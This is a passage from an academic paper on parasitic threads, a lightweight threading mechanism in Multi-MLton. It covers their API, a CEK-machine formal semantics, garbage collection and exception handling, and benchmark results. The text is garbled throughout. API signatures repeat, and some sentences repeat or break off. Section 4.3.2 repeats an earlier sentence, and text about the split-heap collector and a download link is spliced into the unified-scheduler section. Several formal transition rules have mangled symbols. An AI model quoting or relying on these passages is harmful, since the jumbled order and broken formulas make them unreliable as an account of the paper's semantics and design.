of \texttt{chooseAll}. Even though semantically equivalent to the synchronous implementation, this solution will actually perform worse in many scenarios than the synchronous solution due to the overheads of scheduling, synchronization and thread creation costs, even if the threads are implemented as lightweight entities or one/many-shot continuations. The most obvious case where performance degradation occurs, is when each of the events encodes a very short computation. In such cases, it takes longer to allocate and schedule the thread than it takes to complete the event. However, there is more at play here, and even when some events are long running, the asynchronous solution incurs additional overheads. We can loosely categorize these overheads into three groups: - **Synchronization costs**: The creation of aburst of lightweight threads within a short period of time increases contention for shared resources such as channels and scheduler queues. - **Scheduling costs**: Besides typical scheduling overheads, the lightweight threads that are created internally by the asynchronous primitive might not be scheduled prior to threads explicitly created by the programmer. In such a scenario, the completion of a primitive, implicitly creating threads for asynchrony, is delayed. In the presence of tight interaction between threads, such as synchronous communication, if one of the threads is slow, progress is affected in all of the transitively dependent threads. - **Garbage collection costs**: Creating a large number of threads in short period of time increases allocation and might subsequently trigger a collection. This problem becomes worse in a parallel setting, when multiple mutators might be allocating in parallel. In this paper, we explore a novel threading mechanism, called parasitic threads, that reduces costs associated with lightweight threading structures. Parasitic threads allow the expression of arbitrary asynchronous computation, while mitigating typical threading costs. Parasitic threads are especially useful to model asynchronous computations that are usually short-lived, but can also be arbitrarily long. Consider once again our \texttt{chooseAll} primitive. It takes an arbitrary list of events, so at any given invocation of \texttt{chooseAll} we do not know a priori if a particular event is short or long lived. An implementation of \texttt{chooseAll} using parasitic threads is described in Section 2.3.2. Such an implementation, abstractly, delays creating threads unless a parasite performs a blocking action. In practice, this alleviates scheduling and GC costs. Even when parasites block and resume, they are reified into an entity that does not impose synchronization and GC overheads. If the computation they encapsulate is long running, they can be inflated to a lightweight thread anytime during execution. Importantly, in the implementation of \texttt{chooseAll} with parasitic threads, if all of the events in the list are available before the execution of \texttt{chooseAll}, none of the parasites created for executing individual events will block. In addition to an implementation of \texttt{chooseAll}, we show how parasitic threads can be leveraged at the library level to implement a library of specialized asynchronous primitives. We believe parasitic threads are a useful runtime technique to accelerate the performance of functional runtime systems. This paper makes the following contributions: - The design and implementation of parasitic threads, a novel threading mechanism that allows for the expression of a logical thread of control using raw stack frames. Parasitic threads can easily be inflated into lightweight threads if necessary. - A formal semantics governing the behavior of parasitic threads. - A case study leveraging the expressivity of parasitic threads to implement a collection of asynchronous primitives, and illustrating the performance benefits of parasitic threads through a collection of micro-benchmarks. - A detailed performance analysis of runtime costs of parasitic threads over a large array of benchmarks, including a full-fledged web server. The performance analysis is performed on two distinct GC schemes to illustrate that the parasitic threads are beneficial irrespective of the underlying GC. The rest of the paper is organized as follows: in Section 2, we present our base runtime system and the design of parasitic threads. In Section 3, we provide a formal characterization of parasitic threads and show their semantic equivalence to classic threads. We discuss salient implementation details in Section 4. We present a case study illustrating the utility of parasitic threads in the construction of asynchronous primitives 5. We present our experiment details and results in Section 6. Related work and concluding remarks are given in Section 7 and Section 8 respectively. ## 2. System Design In this section, we describe the salient details for the design of parasitic threads and relevant characteristic of our runtime system. We envision parasitic threads to be used as a fundamental building block for constructing asynchronous primitives. With this in mind, we introduce an API for programming with parasitic threads, and show how to construct an efficient \texttt{chooseAll} primitive introduced earlier. ### 2.1 Base System Our runtime system is built on top of lightweight (green) threads, synchronous communication, and leverages a GC. Our threading system multiplexes many lightweight threads on top of a few kernel threads. We leverage one kernel thread for each processor or core for a given system. The kernel threads are also pined to the processor. Hence, the runtime views a kernel thread as a virtual processor. The number of kernel threads is determined statically and is specified by the user. Kernel threads are not created during program execution, instead, all spawn primitives create lightweight threads. Threads communicate in our system through synchronous message passing primitives based on PCML [25], a parallel definition of CML. Threads may perform sends or receives to pass data between one another. Such primitives block until a matching communication partner is present. Our system supports two different GC schemes; a stop-the-world collector with parallel allocation and a split-heap parallel GC scheme. Necessary details about both GC designs, with respect to parasites and their implementation are given in Section 4. 2.2 Parasitic Threads Our runtime supports two kinds of threads: hosts and parasites. Host threads map directly to lightweight threads in the runtime. Parasitic threads can encapsulate arbitrary computation, just like host threads. However, unlike a regular thread, a parasitic thread executes using the execution context of the host which creates the parasite. Parasitic threads are implemented as raw frames living within the stack space of a given host thread. A host thread can hold an arbitrary number of parasitic threads. In this sense, a parasitic thread views its host in much the same way as a user-level thread might view a kernel-level thread that it executes on. A parasite becomes reified when it performs a blocking action (e.g., a synchronous communication operation, or I/O). Reified parasites are represented as stack objects on the heap. Reified parasites can resume execution once the conditions that caused it to block no longer hold. Thus, parasitic threads are not scheduled using the language runtime; instead they self-schedule in a demand-driven style based on flow properties dictated by the actions they perform. Our system supports synchronous message passing over channels as well as user-defined blocking events. During synchronous communication, the parasite which initiates the synchronous communication blocks and is reified (either sending or receiving on a channel), if a matching communication is not already available. It is subsequently unblocked by the thread that terminates the protocol by performing the opposite communication action (i.e., a matching send or receive). Similarly, a parasite may block on an event (such as I/O). This parasite is available to execute once the I/O event is triggered. Once the conditions that prevent continued execution of the parasite becomes resolved, the parasite enters a suspended state, and can be resumed on the host. In the following figures, host threads are depicted as rounded rectangles, parasitic threads are represented as blocks within their hosts, and each processor as a queue of host threads. The parasite which is currently executing on a given host and its stack is represented as a block with solid edges; other parasites are represented as blocks with dotted edges. Reified parasites are represented as shaded blocks. Host threads can be viewed as a collection of parasitic threads all executing within the same stack space. When a thread is initially created it contains one such parasitic computation, namely the expression it was given to evaluate when it was spawned. Figure 2 shows the steps involved in a parasitic communication, or blocking event. Initially, the parasite $S_1$ performs a blocking action on a channel or event, abstractly depicted as a circle. Hence, $S_1$ blocks and is reified. The thread $T_1$ which hosted $S_1$ continues execution by switching to the next parasite $S_2$. $S_1$ becomes runnable. \[\text{Figure 2: Blocking and unblocking of parasitic threads.}\] \[ \text{val reify} &: ('a par -> unit) -> 'a \] \[ \text{val prepare} &: ('a par * 'a) -> ready_par \] \[ \text{val attach} &: ready_par -> unit \] \[ \text{val inflate} &: unit -> unit \] \[ \text{spawnParasite} &: (unit -> unit) -> unit \] \[ \begin{align*} \text{type } &\text{'}a\text{ par} \\ \text{type } &\text{ready_par} \end{align*} \] \[ \text{val spawnParasite} &: (unit -> unit) -> unit \] \[ \text{val reify} &: ('a par -> unit) -> 'a \] \[ \text{val prepare} &: ('a par * 'a) -> ready_par \] \[ \text{val attach} &: ready_par -> unit \] \[ \text{val inflate} &: unit -> unit \] \[ \begin{align*} \text{val } &\text{attach}\left(\right) \\ \text{val } &\text{inflate}\left(\right) \end{align*} \] \[ \text{Figure 3: Parasitic thread management API.} \] \[ \text{Figure 4: Behavior of parasite API.} \] 2.3 An API for Parasitic Threads Parasites are exposed as a library to be utilized to build higher level asynchronous abstractions. Figure 3 shows an interesting subset of the parasite API. The primitives exposed by the parasite API are similar to continuations, but differ from continuations in that the scheduling and migration of parasitic threads is implicitly defined by the control flow abstractions aka the parasite API. Figure 4 illustrates the behavior of the primitives. Unlike host threads, parasitic threads are implemented as raw stack frames. The expression $\text{spawnParasite}(f)$ pushes a new frame to evaluate expression $f$, similar to a function call. We record the stack top at the point of invocation. This corresponds to the caller’s continuation and is a de facto boundary between the parasite and its host (or potentially another parasite). If the parasite does not block, the computation runs to completion and control returns to the caller, just as if the caller made a non-tail procedure call. A parasite can voluntarily block by invoking $\text{reify}(f)$. This applies $f$ on the reference to the parasite, similar to a call-cc invocation. The function $f$ can be used to block the parasite on an event. Once the parasite has been reified, the control immediately switches to the next parasite on the host stack. Reified parasites are represented as stack objects on the heap, reachable from the global resource the parasite is blocked on. Parasites are also value carrying and can be assigned a value with the help of $\text{prepare}$. Such parasites are said to have been prepared. When a parasite resumes execution, it is provided with this prepared value. Prepared parasites can be resumed with the $\text{attach}$ primitive. A host invoking $\text{attach}$ on a prepared parasite, copies the parasitic stack on top of its current stack and switches to the newly attached parasite. The newly attached parasite resumes the newly attached parasite. \[\text{An initial characterization of parasitic threads was presented in unpublished form in [27].}\] execution with the value it was prepared with. When a parasite runs to completion, the control returns to the parasite residing below as if a non-tail call has returned. 2.3.1 Inflation Although parasites are envisioned to be used as short-lived threads, they can encode arbitrarily long computations, as the programming model places no restriction on the closure spawned as a parasite. Executing multiple long running computations on the same stack is unfavorable as it serializes the executions. Parasitic threads provide two options to upgrade the parasite to a full fledged thread: • Synchronously by invoking `inflate` primitive in the parasite that needs to be inflated. • Asynchronously inflate a reified parasite by spawning a new host that attaches the reified parasite If there are potential fast and slow branches in a parasitic computation, on hitting the slow branch, the parasite can be upgraded to a host thread using the inflate primitive. The newly created host is placed on a different processor, if available, for parallel execution. Programmers also have the option of installing timer interrupts to inflate parasites on an interrupt. We observe that the timer interrupt scheme works well in practice, although some unfortunate parasites might be inflated. However, the exact requirements of different programming models built on top of parasites might be different. Hence, we leave it to the programmer to choose the appropriate inflation policy. 2.3.2 Implementing chooseAll Figure 5 shows how the `chooseAll` primitive introduced in Section 1 is implemented using the parasitic thread API. In order to represent the new event combinator, CML event datatype is extended with one more constructor `CHOOSE_ALL`. From the perspective of the event combinators such as `wrap` and `guard`, `chooseAll` is treated similar to `choose`. The interesting behavior of `chooseAll` is during synchronization. In the following code snippet, we define a function `syncOnChooseAll`, which will be invoked to synchronize on a `chooseAll` event. We assume the existence of an atomic fetch and add instruction — `fetchAndAdd (r, count)` — which atomically increments the reference `r` by `count`, and returns the original value of `r`. The basic idea of the implementation is to use parasite threads for synchronization on each of the constituent events. The reference `c` is used as a condition variable to indicate the completion of synchronization of all events in the list. The array `a` is used as a temporary store to collect the results. The current parasite is first reified at line 7 and its reference is captured in `p`. The task of spawning the parasites for synchronization on each event is performed in the `loop` function. After spawning the parasites, at the end of the loop, the current parasite switches to the next parasite on its stack at line 21. Each of the spawned parasites synchronize on its corresponding event at line 24 and invoke the `finish` function defined at line 9. Here, the result of synchronization is stored in the array `a`. The parasite also atomically decrements the counter `c`. If it is the last parasite to finish synchronization, it prepares the suspended parasite `p` with the result and invokes `attach`. This returns control to the suspended parasite with the result of synchronizing on each of the events. This implementation is safe for execution in a parallel context. Inflation on timer interrupt is turned on so that a long running parasite is automatically inflated to a host and runs in parallel. 3. Formal Semantics We define our system formally through the use of a formal operational semantics and model host threads in terms of sets of stacks and parasites as stacks. Transitions in our formalism are defined through stack based operations. Our semantics is defined in terms of a core call-by-value functional language with threading and communication primitives. New threads of control, or host threads, are explicitly created through a `spawn` primitive. To model parasitic thread creation we extend this simple language with a primitive `spawnParasite` and `inflate` which inflates a parasite into a host. Therefore, computation in our system is split between host threads, which behave as typical threads in a language runtime, and parasitic threads, which behave as asynchronous operations with regard to their host. We formalize the behavior of parasitic threads in terms of an operational semantics expressed using a CEK machine [19]. A typical CEK machine is small-step operational definition that operates over program states. A state is composed of an expression being evaluated, an environment, and the continuation of the expression. The continuation is modeled as a stack of frames. 3.0.3 Language In the following, we write $\mathbb{F}$ to denote a set of zero or more elements and $\emptyset$ as the empty set. We write $x:l$ to mean the concatenation of $x$ to a sequence $l$ where $l$ denotes an empty sequence. Evaluation rules are applied up to commutativity of parallel composition ($\parallel$). Relevant domains and meta-variables used in the semantics are shown in Figure 6. In our semantics, we use stack frames to capture intermediate computation state, to store environment bindings, to block computations waiting for synchronization, and to define the order of evaluation. We define eight unique types of frames: return frames, argument frames, function frames, receive frames, send frames, send value frames, and receive and send blocked frames. The return frame pushes the resulting value from evaluating an expression on to the top of the stack. The value pushed on top of the stack gets propagated to the frame beneath the return frame (see Figure 7 Return Transitions). The receive and send blocked frames signify that a thread is blocked on a send or receive on a global channel. They are pushed on top of the stack to prevent further evaluation of the given parasitic computation. Only a communication across a global channel can pop a blocked frame. Once this occurs, the parasitic thread can resume its execution. Argument and function frames enforce left-to-right order of evaluation. order. Similarly, the send and send value frames define the left to right evaluation of the send primitive. Our semantics is defined with respect to a global mapping \((T)\) from thread identifiers \((t)\) to thread states \((s)\). A thread is a pair composed of a thread identifier and a thread state. A thread state \((s)\) is a CEK machine state extended with support for parasitic threads. Therefore, a thread is a collection of stacks, one for each parasitic thread. A concrete thread state can be in one of three configurations: a control state, a return state, or a halt state. A control state is composed of an expression \((e)\), the current environment \((r)\) — a mapping between variables and values, the current stack \((k)\), as well as a set of parasitic computations \((k)\). A return state is simply a collection of parasitic computations \((k)\). The halt state is reached when all parasitic threads in a given thread have completed. A thread, therefore, is composed of a collection of parasitic threads executing within its stack space. When a thread transitions to a control state, one of the thread’s parasites is chosen to be evaluated. A thread switches evaluation between its various parasitic threads non-deterministically when it transitions to a return state. 3.1 CEK Machine Semantics The rules given in Figure 7 and Figure 8 define the transitions of the CEK machine. There are three types of transitions: control transitions, return transitions, and global transitions. Control and return transitions are thread local actions, while global transitions affect global state. We utilize the two types of local transitions to distinguish between states in which an expression is being evaluated from those in which an expression has already been evaluated to a value. In the latter case, the value is propagated to its continuation. Global transitions are transitions which require global coordination, such as the creation of a new channel or thread, or a communication action. There are six rules which define global transitions given in Figure 8. Rule (Local Evaluation) states that a thread with thread state \(a\) can transition to a new state \(a’\) if it can take a local transition from \(a\) to \(a’\). This rule subsamples thread and parasite scheduling, and defines global state change in terms of operations performed by individual threads. The second rule, (Channel), defines the creation of a new global channel. The (Spawn) rule governs the creation of a new thread; this rule generates a unique thread identifier and begins the evaluation of the spawned expression \((e)\) in the parent thread’s \((t)\) environment \((r)\). Notably there is no rule which deals with communication across a shared channel \((c)\) by two threads. Instead we migrate either the sender of the receiver to one of the threads. The two rules (Migrate Left) and (Migrate Right) capture the behavior of the API calls reify and attach defined in Section 2.3. Notice that both rules effectively do a reification of a parasite and then attach that parasite to the other thread. Inflation is similar to the rule for spawning a thread, except the stack associated with the parasite which calls inflate is removed from its current host thread and added to a newly created host thread. There are seven rules which define local control transitions. Because the definition of these rules are standard, we omit their explanation here, with the exception of the last rule (Parasite). This rule models the creation of a new parasitic thread within the current thread. The currently evaluating parasitic thread is added back to the set of parasites with a unit return value pushed on its stack. The expression is evaluated in a new parasitic thread constructed with the environment of the parent and an empty stack. Thread execution undertakes evaluation of the expression associated with this new parasite. There are eight rules which define local return transitions. These rules, like local control transitions, are mostly standard. We comment on the three rules that involve thread and parasite management. Rule (Halt Thread) defines thread termination via a transition to a halt state. A thread transitions to a halt state if it has no active parasites and its stack is empty except for a return frame. Parasites themselves are removed by the (Parasite Halt) rule. The return value of a thread is thus defined as the last value produced by its last parasite. The lifetime of a thread is bounded by the parasites which inhabit it. Rule (Local Communication) is similar to the global communication rule, but is defined as a local transition when both communicating parties reside in the same thread. The transition pops off both blocked frames for the communicating parasitic threads. It also pushes new return frames, the value being sent on to the receiver’s stack and the unit value on top of the sender’s stack. 4. System Implementation We have implemented our system in Multi-MLton, a parallel extension of MLton [21], a whole-program, optimizing compiler for Standard ML (SML) [20]. MLton can compile ML programs to both native code as well as C; the results described in this paper are based on code compiled to C and then passed to gcc version 4.4.0. Multi-MLton extends MLton with multi-core support, library primitives for efficient lightweight thread thread creation and management, as well as ACML [31], an optimized composable asynchronous message passing extension to SML. In this section, we present insights to the implementation of parasitic threads and their implementation within MLton. 4.1 Thread Scheduler Our implementation is targeted at high performance SMP platforms. The implementation supports \(m\) host threads running on top of \(n\) processors, where \(m \geq n\). Each processor runs a single Posix thread that has been pinned to the corresponding processor. Hence, kernel threads are viewed as virtual processors by the runtime system. Each processor hosts a local scheduler to schedule the host threads. Host threads are spawned in a round-robin fashion on the processors to facilitate load balancing, and are pinned to their respective schedulers. Host threads are preemptively scheduled. Parasitic threads are self-scheduled and implicitly migrate to the host stack it communicates with. Bringing the sender and the receiver to the same host stack benefits the cache behavior. 4.2 Host Threads Each host thread has a contiguous stack, allocated on the MLton heap. The host stacks have a reserved space beyond the top of the stack, such that frames can be pushed by bumping the stack top pointer. This reserved space is key to quickly resuming suspended parasites. Our experimental results show that parasitic stacks are almost always smaller than the free space in the host stack and can thus be copied to the host stack without need to grow the \[ e \in \text{Exp} ::= x \mid v \mid e(e) \mid \text{spawn}(e) \mid \text{parasiteSpawn}(e) \] \[ e \mid \text{Chan()} \mid \text{send}(e,e) \mid \text{recv}(e) \mid \text{inflate}(e) \] \[ v \in \text{Val} ::= \text{unit} \mid (\lambda . x . e . r) \mid c \mid \kappa \] \( \kappa \in \text{Constant} \) \( c \in \text{Channel} \) \( x \in \text{Var} \) \( t \in \text{ThreadID} \) \( r \in \text{Env} \) \( k \in \text{Cont} \) \( v \in \text{Value} \) \( (\lambda . x . e . r) \in \text{Closure} \) \( \text{GlobalMap} = \text{ThreadID} \rightarrow \text{ThreadState} \) \( s \in \text{ThreadState} = \text{ControlState} + \text{ReturnState} + \text{HaltState} \) \( (e, r, k, \kappa) \in \text{ControlState} = \text{Exp} \times \text{Env} \times \text{Cont} \times \text{Cont}^* \) \( \kappa \in \text{ReturnState} = \text{Cont}^* \) \( \text{halt}(v) \in \text{HaltState} = \text{Value} \) Figure 6: Domains for the CEK machines extended with threads and parasites. Control Transitions \( \text{(Constant)} \quad \langle k . r . k . \kappa \rangle \rightarrow \langle \text{ret}[k] : k \mid k \rangle \) \( \text{(Variable)} \quad \langle x . r . k . \kappa \rangle \rightarrow \langle \text{ret}[r(x)] : k \mid k \rangle \) \( \text{(Closure)} \quad \langle \lambda . x . e . r . k . \kappa \rangle \rightarrow \langle \text{ret}[\lambda . x . e . r] : k \mid k \rangle \) \( \text{(Application)} \quad \langle (e_1 e_2) . r . k . \kappa \rangle \rightarrow \langle e_1 . r . \text{arg}[e_2 . r] : k \mid k \rangle \) \( \text{(Send)} \quad \langle \text{send}(e_1 . e_2) . r . k . \kappa \rangle \rightarrow \langle e_1 . r . \text{sval}[e_2 . r] : k \mid k \rangle \) \( \text{(Receive)} \quad \langle \text{recv}(e) . r . k . \kappa \rangle \rightarrow \langle e . r . \text{recv} : k \mid k \rangle \) \( \text{(SpawnParasite)} \quad \langle \text{parasiteSpawn}(e) . r . k . \kappa \rangle \rightarrow \langle e . r . \text{ret} \mid \text{unit} : k \mid k \rangle \) Return Transitions \( \text{(ThreadHalt)} \quad \langle \text{ret}[v] : (\emptyset) \rangle \rightarrow \langle \text{halt}(v) \rangle \) \( \text{(ParasiteHalt)} \quad \langle \text{ret}[v] : [k] \rangle \rightarrow \langle k \rangle \) \( \text{(Argument)} \quad \langle \text{ret}[v] : \text{arg}[e . r] : k \mid k \rangle \rightarrow \langle e . r . \text{fun}[v] : k \mid k \rangle \) \( \text{(Function)} \quad \langle \text{ret}[v] : \text{fun}[\lambda . x . e . r] : k \mid k \rangle \rightarrow \langle e . r . x \rightarrow v : k \mid k \rangle \) \( \text{(SendValue)} \quad \langle \text{ret}[c] : \text{sval}[e . r] : k \mid k \rangle \rightarrow \langle e . r . \text{send}[c] : k \mid k \rangle \) \( \text{(SendBlock)} \quad \langle \text{ret}[v] : \text{send}[c] : k \mid k \rangle \rightarrow \langle \text{sb} \text{lock}[c . v] : k \mid k \rangle \) \( \text{(ReceiveBlock)} \quad \langle \text{ret}[c] : \text{recv} : k \mid k \rangle \rightarrow \langle \text{rblock}[c] : k \mid k \rangle \) \( \text{(LocalCommunication)} \quad \langle \text{rblock}[c] : k_1 \rangle \langle \text{sb} \text{lock}[c . v] : k_2 \rangle \rightarrow \langle \text{ret}[v] : k_1 \rangle \langle \text{ret}[\text{unit}] : k_2 \rangle \) Figure 7: Local evaluation defining both control and return transitions. stack. When the host stack runs out of reserved space, it grows by allocating a new, larger stack object. Host stacks are also re-sized as needed during garbage collection. 4.2.1 Exception Safety in Parasites Exceptions in MLton are intertwined with the structure of the stack. Exceptions are also stack local and are not allowed to escape the host thread. Since parasitic operations copy frames across host stacks, there is a potential for parasitic exceptions to be raised in a context that is not aware of it. We will describe how parasites were made safe for exceptions. In MLton, every host thread has a pointer to the top handler frame in the currently executing host stack. Every handler frame has a link to the next handler frame, represented as an offset. With this formulation, when exceptions are thrown, control can switch to the top handler in constant time, with subsequent handlers reached through the links. During program execution, whenever the handler frames are popped, the thread’s top-handler pointer is updated to point to the new top handler. How do we ensure that this structure is maintained for parasitic operations? Just like host threads, exceptions are not allowed to escape parasitic threads and are handled by the default handler. When a parasite is reified and moved out of the stack, the offset of the top handler from the bottom of the parasitic stack is stored in the parasitic meta-data. The handlers installed by the parasite are also captured as a part of the parasitic stack. Control returns to the parasite residing below the reified parasite as a non-tail-call return. Importantly, the default handler of the reified parasite is popped. This resets the thread’s top-handler pointer to the next valid handler in the host stack. When the reified parasite eventually resumes execution on another host stack, the handler offset stored in the parasite meta-data is used to set the thread’s top-handler pointer to the top most handler in the attached parasite. This is a constant time operation. When parasites are inflated, the top-handler pointer in the newly created host is updated to point to the top-handler in the parasite. 4.3 Interaction with Garbage Collector Just like host threads in the language runtime, the garbage collector must be aware of parasitic threads and the objects they reference. Parasites either exist as a part of a host stack or reified as a separate heap object. If the parasites are a part of the host, the garbage collector treats the parasites as regular frames while tracing. Reified parasites are represented in the GC as stack objects, and from a GC standpoint are indistinguishable from host stacks. Hence, the garbage collection algorithms trace reified parasites as if they were host stacks. 4.3.1 Split-Heap Parallel GC We provide a short description of the split-heap parallel GC in order to describe interesting parasitic interactions. The split-heap parallel GC is inspired from Doligez’s GC for a multi-threaded implementation of ML [8]. Each processor has a local heap, that can have no pointers from other local heaps. This invariant allows collection of ML [8]. Each processor has a local heap, that can have no pointers from other local heaps. This invariant allows collection of ML 4.3.2 Parasitic Closures When parasites are inflated, the top-handler pointer in the newly created host is updated to point to the top-handler in the parasite. 5. Case Study: Building Asynchronous Primitives In this section, we will illustrate the utility of parasites in the construction of efficient asynchronous primitives. We also present micro-benchmark measurements for common asynchronous programming patterns, to illustrate the benefits of the parasitic thread design. This section is a summary of the lessons learnt in the implementation of Asynchronous CML (ACML) [31] utilizing parasitic threads. Asynchronous CML (ACML) extends CML with composable asynchronous events and is the core of the Multi-MLton programming model [12]. ACML2 leverages parasitic threads pervasively, though we only touch on a few of patterns that are applicable to asynchronous primitives in general. 5.1 Unified Scheduler With two underlying threading systems (hosts and parasites), we need to abstract away the differences in the thread management API. In particular, host threads in Multi-MLton are built on top of one-shot continuations, which is completely separate from the scheduling policy, while the parasitic thread API combines control flow abstractions with parasitic scheduling and migration. The goal of abstracting the scheduler is to expose both kinds of thread creation mechanisms while unifying the scheduler abstractions, so as to ease the development asynchronous communication primitive. For example, with such a scheduler, the programmer can be reachable, the contents of the stack are never read by other processors. Pinning host stacks to the local heaps, keeps most of our allocations local. This improves performance since the local garbage can be collected concurrently with respect to operations on the other processors. Stop-the-world collection is only performed in the shared heap. Experimental results show that the split-heap parallel GC in general performs better than the stop-the-world collector. Download http://sss.cs.purdue.edu/projects/multiMLton/mML/Download.html does not have to separately handle the situations where two parasites communicate and when two hosts communicate, and can treat them uniformly. With this in mind, we have implemented a scheduler that exposes both spawnHost and spawnParasite, and unifies the other scheduler idioms such as ready, switch, etc. Being able to simply define such a scheduler illustrates that parasitic threads can easily replace host threads, and vice versa. We believe such a unified scheduler will be utilized by any library that leverages both host and parasitic threads. 5.2 Lazy thread creation The most common use case of parasitic threads is to model asynchronous short-lived computation, that might potentially block on a global resource, to be resumed at a later time. For example, ACML defines an asynchronous version of CML sendEvt, the aSendEvt, which when synchronized performs the send asynchronously. Abstractly, a thread is created to perform this potentially blocking action, such that even if the newly created thread blocks, the original thread can continue execution. Notice that if the asynchronous computation does not block, there is no need to create a separate thread. In general, it is difficult to assert if an asynchronous action will block when synchronized. If we polled for satisfiability, the state of the system might change between polling and actual synchronization. In addition, the asynchronous action might be composed of multiple blocking sub-actions, all of which might not expose a polling mechanism. Parasites provide a mechanism to lazily create a thread if needed. We distinguish ourselves from previous work on lazy thread creation in Section 7. For a short-lived computation that does not block, the overhead of parasites is the cost of a non-tail call and overheads of mechanisms in place for parasitic reification and inflation. Whereas, spawning a host thread for a short-lived, non-blocking computation is the cost of allocating and collecting the host thread object, typically enqueueing and dequeueing from the scheduler, and finally switching to the thread. Our empirical measurements show that for a non-blocking, short-lived computation, in the time that takes to create 1 host thread, we can create 46 parasites. <table> <thead> <tr> <th>Configuration</th> <th>Norm. runtime</th> </tr> </thead> <tbody> <tr> <td>sendEvt</td> <td>1</td> </tr> <tr> <td>aSendEvt on Host</td> <td>4.96</td> </tr> <tr> <td>aSendEvt on Parasite</td> <td>1.05</td> </tr> </tbody> </table> Table 1: Comparison of cost of aSendEvt implemented over hosts and parasites To illustrate the differences in a potentially blocking computation, we implemented a single producer, single consumer program, where the producer repeatedly sends messages to the consumer. We compared the performance of sendEvt (synchronous) versus aSendEvt (asynchronous) implemented over host and parasitic threads. The results, presented in Table 1, show that aSendEvt encoded with parasites have a worse case overhead of only 5% over their synchronous counterparts. Not surprisingly, in this micro benchmark, there was no profitable parallelism to extract. 5.3 Inflation Just like asserting the blocking behavior of asynchronous computations, it is difficult to estimate the running time of an arbitrary asynchronous computation. A long lived asynchronous computation may be run on a different core, if available, for parallelism. Parasites are automatically inflated if they are long lived. As described earlier 2.3.1, parasites can inflate either synchronously or asynchronously on a timer interrupt. For a good runtime behavior, we also assign a penalty-count to the underlying host thread, which spawned the long running parasite. A host with penalty-count greater than zero, will spawn the next parasite as a host, and decrement penalty-count. The idea is that such a host will spawn more long running parasites. Instead of spawning such computations as parasites and then inflating them, we eagerly spawn them as hosts. Since parasites and hosts are semantically equivalent, and are treated uniformly by the scheduler, they can be interchanged. We have found that a penalty-count of 10 works well in practice over a wide range of benchmarks. To provide a better intuition, we implemented a micro-benchmark that spawns a large number of long running computations. Each thread computes a tight-loop. We compare the runtime performance of spawning the computation as a host thread and parasite with and without inflation. Figure 9 shows the speedup of different configurations relative to the runtime of host threads on a single core. We see that, without inflation, parasites offer no parallelism and hence do not scale. With inflation, parasites perform identically to host threads. 5.4 Choice Communication primitives that abstractly coordinate over multiple channels express a common communication pattern. Examples range from CML’s choice primitive, MPI’s group communication primitives such as scatter and gather, to our chooseAll. In section 2.3.2, we illustrated how such a primitive, chooseAll, could possibly be modified for increased asynchrony with the help of parasitic threads. To measure the benefit of using parasites instead of host threads for the implicit threads of chooseAll, we implemented a multiple producer, single consumer benchmark, where the consumer uses chooseAll to receive the value from the producers. Each producer uses a private channel to send 100,000 messages to the consumer. We varied the number of producers and measured the runtime performance. Results are shown in Figure 10. We observe that parasitic threads perform 2X faster than the host thread implementation on 2 cores. 5.5 Putting it all together Although we presented only micro benchmarks thus far in this section, we measure the real impact of utilizing parasitic threads, with the help of a full-fledged web-server implemented on top of ACML using parasitic threads. The results of this implementation is presented in the following section. 6. Results Our experiments were run on a 16-way AMD Opteron 865 server with 8 processors, each containing two symmetric cores, and 32 GB of total memory, with each CPU having its own local memory of 4 GB. Access to non-local memory is mediated by a hyper-transport layer that coordinates memory requests between processors. MLton uses 64-bit pointer arithmetic, SSE2 instructions for floating point calculations, and is IEEE floating point compliant. Multi-MLton is extended from the base MLton version 20100608. Multi-MLton backend generates C files that were compiled with gcc 4.4.0. 6.1 Benchmarks Our benchmarks are parallel version of programs in MLton’s benchmark suite. The benchmarks were made parallel with the help of ACML. The details of the benchmarks are provided below: - Mandelbrot: a Mandelbrot set generator. - k-clustering: a k-means clustering algorithm, where each stage is spawned as a server. - Count-graphs: computes all symmetries (automorphisms) within a set of graphs. - MergeSort: merge-sort algorithm to sort one million numbers. - Raytrace: a ray-tracing algorithm to render a scene. - Mat-mult: a dense matrix multiplication of two 500 X 500 matrices. - Sieve-primes: a streaming implementation of sieve of Eratosthenes that generates first 3000 prime numbers. Each stage in the sieve is implemented as a lightweight thread. - Par-tak: The highly recursive function Tak function, where every recursive call is implemented as a lightweight threads that communicates result back to the caller over a channel. This is designed as a stress test for the runtime system. - Par-fib: Parallel Fibonacci function implemented with lightweight threads to stress test the runtime system. Results are presented for calculating the 27th Fibonacci number. - Swerve: A highly parallel concurrent web-server entirely written in CML, fully compliant with HTTP/1.1. Parts of swerve were rewritten using ACML to allow for greater concurrency between interacting sub-components. Workloads were generated using Httperf — a standard tool for profiling web-server performance. For our results, 20,000 requests were issued at 2500 connections per second. Every benchmark was tested on four different configurations: stop-the-world GC, stop-the-world GC with parasites, shared-heap parallel GC, and shared-heap parallel GC with parasitic threads. The parasitic versions of the benchmarks utilize asynchronous communication between the threads, as well as parasites for implicit threads created by ACML. The non-parasitic versions use synchronous communication, since implementing asynchronous communication over host threads is expensive, as previously shown in Section 5.2. The benchmarks were run with same maximum heap size for each of the configurations. 6.2 Threads and Communication We have collected thread and communication statistics that provide insights into the behavior of our programs, and also illustrate the key to the benefits of parasites. Thread and communication statistics for parasitic (Par) and non-parasitic (NPar) versions are tabulated in Table 2. These statistics were collected for stop-the-world GC version running on 16 cores. The statistics collected here were similar on the shared-heap parallel GC as well as running on different number of cores. The number of hosts (# Hosts) show that our benchmarks are highly concurrent and amenable to parallel execution. The number of hosts created in parasitic versions is smaller than the non-parasitic versions. This is due to the fact many of the original host threads are created as parasites in the parasitic versions. On average, parasitic stacks are also much smaller than the host stacks. Also, not all parasites are even reified and simply run to completion as a non-tail call. The cumulative effect of these on the parasitic version is the decreased cost of scheduling and management (allocation and collection). Parasitic stacks are almost always smaller than the reserved space available in the host stacks. Hence, when parasites are attached to hosts, the hosts need not grow the stacks in order to fit in the parasites. We measured the number of instances where parasite being attached happened to be larger than the reserved space (# Force stack growth), and forces stack growth on the host. Apart from Par-fib, none of the benchmarks need to force stack growths more than twice. In Par-fib, except the proto-thread, all of the threads created are parasitic, a few of which get inflated during the execution. Since all computation is encapsulated in parasitic threads, we see an increased number of stack growths corresponding to parasite migration. Parasitic stack measurements are unavailable for Raytrace since no parasites were reified. Parasitic closure size is the size of the parasitic stack including the transitive closure. This shows the average bytes copied for inter-processor parasitic communication. The number of communications performed (# Comm) shows that the benchmarks are also communication intensive. For channel communication, a sender matching with a receiver is considered as one communication action. The number of communications performed is the same for the parasitic versions of the benchmarks, and only the nature of the communication varies (Synchronous vs. Asynchronous). Since the benchmarks are communication intensive, asynchronous communication 